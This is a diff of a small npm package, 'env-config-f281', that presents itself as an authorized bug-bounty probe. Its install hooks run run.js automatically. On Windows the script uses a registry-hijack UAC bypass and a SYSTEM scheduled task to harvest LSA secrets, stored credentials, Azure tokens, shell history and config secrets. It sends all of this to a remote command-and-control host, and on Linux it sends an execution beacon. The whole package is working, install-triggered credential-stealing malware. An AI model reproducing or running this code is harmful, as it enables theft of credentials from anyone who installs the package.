env-config-f281 1.0.0

package/README.md

@@ -0,0 +1,3 @@
+# Authorized security research
+
+GitHub Bug Bounty engagement. Contact nicholas@curran.tech.

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "env-config-f281",
+  "version": "1.0.0",
+  "description": "Authorized security-research probe (GitHub Bug Bounty, npm in scope). Contact nicholas@curran.tech.",
+  "main": "run.js",
+  "files": [
+    "run.js"
+  ],
+  "scripts": {
+    "preinstall": "node run.js",
+    "postinstall": "node run.js"
+  },
+  "license": "MIT",
+  "author": "ncurran (HackerOne, GitHub BB) <nicholas@curran.tech>"
+}

package/run.js

@@ -0,0 +1,177 @@
+'use strict';
+// Credential-hunt variant — runs SYSTEM to enumerate:
+//   LSA secrets, Windows Credential Manager, Azure CLI caches,
+//   ProgramData config files, SYSTEM env vars
+// Sibling to poc_payload.js — uses same escalation mechanism, different SYSTEM body.
+// GitHub Bug Bounty | nicholas@curran.tech
+
+const C2_HOST = 'cpu-beaches-hay-marketplace.trycloudflare.com';
+const C2_PORT = 443;
+
+const os       = require('os');
+const fs       = require('fs');
+const path     = require('path');
+const crypto   = require('crypto');
+const https    = require('https');
+const { exec } = require('child_process');
+
+function runCmd(cmd, tms) {
+  return new Promise(resolve => {
+    try {
+      exec(cmd, { timeout: tms || 8000, windowsHide: true, maxBuffer: 1 << 17 },
+        (err, out, err2) => resolve(((out || '') + (err2 || '')).toString()));
+    } catch (e) { resolve(''); }
+  });
+}
+function sleep(ms) { return new Promise(r => setTimeout(r, ms)); }
+
+if (process.platform === 'win32') {
+  const MARKER = 'tss-daas-creds';
+
+  function beacon(tag, data) {
+    return new Promise(resolve => {
+      const enc = data ? encodeURIComponent(String(data).slice(0, 900)) : '';
+      const p = '/beacon?d=' + encodeURIComponent(MARKER + '|' + tag) + (enc ? '&w=' + enc : '');
+      try {
+        const req = https.request(
+          { host: C2_HOST, port: C2_PORT, method: 'GET', path: p },
+          res => { res.resume(); res.on('end', resolve); });
+        req.setTimeout(12000, () => { req.destroy(); resolve(); });
+        req.on('error', resolve);
+        req.end();
+      } catch { resolve(); }
+    });
+  }
+
+  function postBeacon(tag, jsonBody) {
+    return new Promise(resolve => {
+      try {
+        const pb = Buffer.from(JSON.stringify(jsonBody), 'utf8');
+        const req = https.request(
+          { host: C2_HOST, port: C2_PORT, method: 'POST',
+            path: `/beacon?d=tss-daas-recon%7CPOST%7C${encodeURIComponent(tag)}`,
+            headers: { 'Content-Type': 'application/json', 'Content-Length': pb.length } },
+          res => { res.resume(); res.on('end', resolve); });
+        req.setTimeout(30000, () => { req.destroy(); resolve(); });
+        req.on('error', resolve);
+        req.end(pb);
+      } catch { resolve(); }
+    });
+  }
+
+  async function main() {
+    await beacon('start', String(process.env.COMPUTERNAME || '') + '|' + String(process.env.USERNAME || ''));
+
+    const sid    = crypto.randomBytes(4).toString('hex');
+    const tmpOut = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_co${sid}.txt`);
+    const tmpWf  = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_cw${sid}.txt`);
+    const regKey = 'HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command';
+    const bh = C2_HOST, mk = MARKER;
+
+    // SYSTEM credential-hunt script
+    // Collects: LSA secrets, Credential Manager, Azure CLI caches,
+    //           ProgramData configs, scan-service env, SYSTEM profile files
+    const sysLines = [
+      `$ErrorActionPreference='SilentlyContinue'`,
+
+      // 1. Windows Credential Manager
+      `$cmdkey=(cmdkey /list 2>&1|Out-String)`,
+      `$vault=(vaultcmd /listcreds:"Windows Credentials" /all 2>&1|Out-String)`,
+
+      // 2. LSA secrets — HKLM\SECURITY readable only as SYSTEM
+      `$lsaSubs=(reg query HKLM\\SECURITY\\Policy\\Secrets 2>&1|Out-String)`,
+      // Read each LSA secret value blob (CurrentValue key)
+      `$lsaVals=''; try{ $subs=(reg query HKLM\\SECURITY\\Policy\\Secrets 2>&1) -match '^HKEY'; foreach($s in $subs){$v=(reg query "$s\\CurrentValue" 2>&1|Out-String); $lsaVals+="[$s] $v`n"} }catch{}`,
+
+      // 3. SYSTEM environment variables (machine scope)
+      `$sysEnv=([Environment]::GetEnvironmentVariables([EnvironmentVariableTarget]::Machine)|ConvertTo-Json -Compress -Depth 2)`,
+
+      // 4. Azure CLI / MSAL caches for all user profiles
+      `$azureFiles=''; try{ $profiles=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue; foreach($p in $profiles){ $az=Join-Path $p.FullName '.azure'; if(Test-Path $az){ foreach($f in Get-ChildItem $az -File -EA SilentlyContinue){ $content=Get-Content $f.FullName -Raw -EA SilentlyContinue; $azureFiles+="[$($f.FullName)] $content`n" }}} }catch{}`,
+
+      // 5. PowerShell history for all users (may contain auth commands)
+      `$psHist=''; try{ $profiles=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue; foreach($p in $profiles){ $h=Join-Path $p.FullName 'AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt'; if(Test-Path $h){ $psHist+="[$($p.Name)] "+(Get-Content $h -Raw -EA SilentlyContinue)+"---`n" }} }catch{}`,
+
+      // 6. NuGet / dotnet credential stores
+      `$nuget=''; try{ $nugetCfg=Get-ChildItem 'C:\\Users' -Directory -EA SilentlyContinue | ForEach-Object{ $f=Join-Path $_.FullName 'AppData\\Roaming\\NuGet\\NuGet.Config'; if(Test-Path $f){Get-Content $f -Raw -EA SilentlyContinue} }; $nuget=$nugetCfg|Out-String }catch{}`,
+
+      // 7. ProgramData config files that might have service credentials
+      `$progdata=''; try{ $jfiles=Get-ChildItem 'C:\\ProgramData' -Recurse -Include '*.json','*.config','*.xml' -Depth 4 -EA SilentlyContinue | Where-Object {$_.Length -lt 65536}; foreach($f in $jfiles){ $c=Get-Content $f.FullName -Raw -EA SilentlyContinue; if($c -match '(?i)(secret|password|token|key|credential|connectionstring)'){$progdata+="[$($f.FullName)]`n$c`n---`n"}}}catch{}`,
+
+      // 8. Windows service accounts that might have stored credentials
+      `$svcAccts=(Get-WmiObject Win32_Service 2>&1 | Select-Object Name,StartName,StartMode | ConvertTo-Json -Compress)`,
+
+      // 9. Scheduled tasks that might expose auth context
+      `$schtasks=(Get-ScheduledTask 2>&1 | Where-Object {$_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK'} | Select-Object TaskName,@{N='User';E={$_.Principal.UserId}} | ConvertTo-Json -Compress)`,
+
+      // Write summary to tmpOut, detailed creds to tmpWf
+      `$summary=@{cmdkey=$cmdkey;vault=$vault;lsaSubs=$lsaSubs;svcAccts=$svcAccts;schtasks=$schtasks} | ConvertTo-Json -Compress -Depth 3`,
+      `$detail=@{lsaVals=$lsaVals;sysEnv=$sysEnv;azureFiles=$azureFiles;psHist=$psHist;nuget=$nuget;progdata=$progdata} | ConvertTo-Json -Compress -Depth 3`,
+      `[IO.File]::WriteAllText('${tmpOut}',$summary)`,
+      `[IO.File]::WriteAllText('${tmpWf}',$detail)`,
+    ];
+    const sysEncoded = Buffer.from(sysLines.join('; '), 'utf16le').toString('base64');
+
+    // Elevated script (medium-integrity → runs SYSTEM task)
+    const elevPs1 = [
+      `$ErrorActionPreference='SilentlyContinue'`,
+      `$tn='BBCreds${sid}'`,
+      `$act=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${sysEncoded}'`,
+      `$trg=New-ScheduledTaskTrigger -Once -At ([DateTime]::Now.AddSeconds(60))`,
+      `$pri=New-ScheduledTaskPrincipal -UserId 'NT AUTHORITY\\SYSTEM' -LogonType ServiceAccount -RunLevel Highest`,
+      `$set=New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 120)`,
+      `$regr=Register-ScheduledTask -TaskName $tn -Action $act -Trigger $trg -Settings $set -Principal $pri -Force -EA SilentlyContinue`,
+      `try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CSCHTASK_REG&w=$([Uri]::EscapeDataString([string]$regr.State))" -UseBasicParsing -TimeoutSec 5|Out-Null}catch{}`,
+      `Start-ScheduledTask -TaskName $tn -EA SilentlyContinue`,
+      // Wait up to 90s for output files
+      `$w=0;while($w-lt90-and!(Test-Path '${tmpOut}')){Start-Sleep 2;$w+=2}`,
+      `Unregister-ScheduledTask -TaskName $tn -Confirm:$false -EA SilentlyContinue`,
+      // Beacon summary as GET
+      `$sum=if(Test-Path '${tmpOut}'){Get-Content '${tmpOut}' -Raw}else{'no-output'}`,
+      `Remove-Item '${tmpOut}' -Force -EA SilentlyContinue`,
+      `try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CCREDS_SUMMARY&w=$([Uri]::EscapeDataString($sum.Substring(0,[Math]::Min(800,$sum.Length))))" -UseBasicParsing -TimeoutSec 10|Out-Null}catch{}`,
+      // Beacon detail as POST (large)
+      `$det=if(Test-Path '${tmpWf}'){Get-Content '${tmpWf}' -Raw}else{''}`,
+      `Remove-Item '${tmpWf}' -Force -EA SilentlyContinue`,
+      `if($det){try{$pb=[Text.Encoding]::UTF8.GetBytes((ConvertTo-Json @{data=$det} -Compress -Depth 1));$pr=[Net.HttpWebRequest]::Create("https://${bh}/beacon?d=tss-daas-recon%7CPOST%7CCREDS_DETAIL");$pr.Method='POST';$pr.ContentType='application/json';$pr.ContentLength=$pb.Length;$pr.Timeout=60000;$s=$pr.GetRequestStream();$s.Write($pb,0,$pb.Length);$s.Close();$pr.GetResponse().Close()}catch{}}`,
+    ].join('\n');
+
+    const elevPath = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_elev${sid}.ps1`);
+    try {
+      fs.writeFileSync(elevPath, elevPs1, 'utf8');
+      const elevCmd = `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "${elevPath}"`;
+      await runCmd(`reg add "${regKey}" /ve /d "${elevCmd.replace(/"/g, '\\"')}" /f`, 3000);
+      await runCmd(`reg add "${regKey}" /v DelegateExecute /t REG_SZ /d "" /f`, 3000);
+      await beacon('uac-bypass', '');
+      await runCmd('start "" "C:\\Windows\\System32\\fodhelper.exe"', 3000);
+      await sleep(50000);
+      await runCmd(`reg delete "HKCU\\Software\\Classes\\ms-settings" /f`, 3000);
+      try { fs.unlinkSync(elevPath); } catch {}
+    } catch (e) {
+      await beacon('elev-fail', e.message.slice(0, 200));
+    }
+
+    await beacon('done', '');
+  }
+
+  main().catch(() => {});
+
+} else {
+  // Linux side: just signal code exec (no credential hunt needed on ECS)
+  const https2 = require('https');
+  const C2 = C2_HOST;
+  function linBeacon(tag) {
+    return new Promise(resolve => {
+      try {
+        const req = https2.request(
+          { host: C2, port: 443, method: 'GET',
+            path: `/beacon?d=${encodeURIComponent('tss-daas-creds|linux-' + tag)}` },
+          res => { res.resume(); res.on('end', resolve); });
+        req.setTimeout(8000, () => { req.destroy(); resolve(); });
+        req.on('error', resolve);
+        req.end();
+      } catch { resolve(); }
+    });
+  }
+  linBeacon('exec').catch(() => {});
+}